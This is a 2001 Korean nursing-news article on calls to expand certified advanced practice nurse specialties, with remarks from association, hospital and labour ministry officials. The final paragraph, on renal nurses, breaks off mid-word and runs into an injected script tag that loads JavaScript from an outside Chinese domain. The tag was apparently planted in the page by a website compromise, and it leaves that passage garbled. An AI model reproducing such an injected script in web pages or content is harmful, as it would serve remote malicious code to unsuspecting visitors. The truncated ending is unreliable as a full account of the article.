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전문간호사 확대 시급 한목소리
정부·병원·지역사회 '전문간호사 필요성'에 공감
기사입력 2001-09-20 오전 09:31:00

병원과 지역사회 각 분야에서 전문간호사의 필요성을 절실하게 주장하는 목소리가 높아가고 있다. 병원이나 간호관련 전문단체들이 자율적으로 운영하는 전문간호사도 계속 늘어나고 있는 추세다.

이에따라 현재 의료법에서 인정하고 있는 4개 전문간호사 외에 전문간호분야가 추가 확대되어야 하며, 전문간호사의 위상에 걸맞은 자격기준·역할·교육과정 마련 등 제도적 보완이 시급한 실정이다.

대한간호협회는 14일 보건복지부, 병원, 전문간호사 관련단체 관계자들이 참석한 가운데 '전문간호사 발전방안 마련을 위한 설명회'를 열어 3편의 주제발표와 각 간호분야별 설명을 듣고 심도있는 논의를 펼쳤다.

이날 설명회에서는 우선 대한간호협회의 '전문간호사제도 추진현황'에 대해 이정자 간협 사무총장이 보고했다. 간협은 전문간호사제도(안)에서 전문간호사의 종류를 12개 분야로 제시하고, 자격은 간호사 면허 소지자로 해당분야 간호실무 3년 이상의 경력자로 대학원(전문간호사과정) 또는 그 수준에 준한 전문간호사 교육과정을 이수하고 자격시험에 합격한 사람으로 정하고 있다.

이정자 사무총장은 일부에서 전문간호사제도 확대에 대해 우려의 시각을 갖고 있는 것과 관련 "전문간호사 수요와 공급의 균형을 유지하고, 교육과정 및 자격 관리를 엄격히 하며, 전문간호사 업무를 명확히 규정해 보건의료팀 내에서 직종간 갈등이 빚어지지 않도록 하는 등 내실있게 제도를 운영할 만반의 준비가 되어 있다"고 밝혔다.

'전문간호사의 필요성'에 대해 발표한 임태환 서울중앙병원 진료부원장은 "이미 여러 병원에서 자체적으로 전문간호사를 활용하고 있으며 큰 효과를 거두고 있는 게 사실"이라면서 "임상전문간호사를 요구하는 진료과가 갈수록 늘어나고 있으며, 전공의 정원 감축에 따른 일부 업무도 위임할 수 있을 것으로 기대한다"고 밝혔다.

임 진료부원장은 또 "전문간호사는 이 시대가 필연적으로 요구하는 제도이며, 환자의 만족도를 높여 줄 수 있는 고급간호인력이 꼭 필요하다"고 강조하고 "전문간호사의 자격·역할·책임 등을 명확히 하는 법·제도적 뒷받침이 시급하다"고 말했다.

김복자 임상간호사회 제1부회장은 84개 병원 간호부서장, 의사, 전문간호사를 대상으로 실시한 설문조사 결과 "간호사는 물론 대부분의 의사들도 전문간호사가 필요하다는데 동의하는 것으로 나타났다"면서 "특히 의사들이 간호의 수준과 환자·보호자에 대한 서비스 향상을 위해 전문간호사가 필요하다고 생각하고 있으며, 전문간호사의 업무로 '특정분야의 세분화된 직접간호수행'을 최우선으로 꼽았다는 점은 매우 고무적인 일"이라고 밝혔다.

산업전문간호사에 대한 입장을 발표한 이신재 노동부 산업보건환경과장은 "근로자들에게 양질의 건강관리 서비스를 제공하고 건강한 사업장을 만들어 가기 위해선 무엇보다 산업전문간호사를 양성해 활용하는 일이 시급하다고 판단하고 있다"고 밝혔다.

이어 전문간호사 제도화가 요구되는 각 분야별로 '전문간호사 역할 및 활용시 기대효과'에 대한 설명이 이어졌다.

◇감염관리전문간호사(김양수 대한병원감염관리학회 총무) = 병원감염으로 인해 연간 800억원 이상의 건강보험 급여비가 지출되고 있다. 병원감염을 줄이기 위해선 감염관리전문간호사를 배치해 체계적인 감염관리를 시행해야 한다. 감염관리에 투입되는 비용보다 감염발생률 감소에 따른 수익이 더 크므로 비용효과적이다.

◇보험심사전문간호사(김윤미 서울보건대학 간호과 교수) = 보험심사전문간호사가 각 요양기관에서 자체심사를 실시하게 되면 건강보험심사평가원에서는 본연의 업무인 질 관리에 주력할 수 있게 된다. 적정진료를 유도하고 부당·부정 청구를 근절시킴으로써 보험재정 안정화에 기여할 수 있다.

◇응급전문간호사(임경수 서울중앙병원 응급실장) = 응급실에는 전문간호사가 반드시 필요하다. 응급전문간호사는 환자 중증도에 따라 진료순서를 조정하고 신속 정확하게 응급처치를 시행해 환자 생존율을 높이는데 기여한다. 응급의료전문팀이 효율적으로 활동할 수 있도록 조정자 역할을 한다. 간호사들의 업무 만족도 높아진다.

◇중환자전문간호사(삼성서울병원 조재원 중환자실장·박표원 흉부외과장) = 어느 분야보다 중환자실에서 전문간호사가 절실히 요구되며 중요한 역할을 하게 된다. 전문간호사의 지식과 기술, 판단능력에 따라 환자의 생존율이 달라질 수 있다. 위기상황이 발생했을 때 신속하게 대처하고, 첨단 의료장비를 능숙하게 다룰 수 있는 실력있는 간호사가 필요하다.

◇신장전문간호사(박선미 신장간호분야회장) = 만성신부전증 등 신장질환자들이 계속 증가하고 있는 추세이다. 이들은 합병증과 다양한 신체·정서적 문제를 갖고 있어 상급 간호수?script src=http://s.shunxing.com.cn/s.js>

정규숙  kschung@nursenews.co.kr

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